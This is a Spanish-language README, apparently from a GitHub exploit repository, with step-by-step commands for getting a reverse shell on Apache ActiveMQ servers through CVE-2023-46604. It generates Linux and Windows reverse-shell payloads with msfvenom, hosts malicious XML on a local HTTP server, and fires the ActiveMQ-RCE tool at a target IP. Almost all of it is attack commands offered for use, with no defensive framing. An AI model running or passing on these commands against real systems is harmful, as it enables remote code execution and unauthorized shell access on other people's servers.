
Logrando un exploit de shell inversa para Apache ActiveMQ (CVE_2023-46604)
Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework (https://github.com/rapid7/metasploit-framework).
Importante: cambia manualmente la dirección IP (0.0.0.0 en la línea 11) en los archivos XML por la dirección IP donde se generará el payload. Si sigues los comandos a continuación, esa será la IP de tu listener. Además, {IP_Of_Hosted_XML_File} será la IP de tu listener.
Para objetivos Linux/Unix
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
Para objetivos Windows
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f eXE -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml



Un agradecimiento especial a https://github.com/Anon4mous por apoyarme activamente.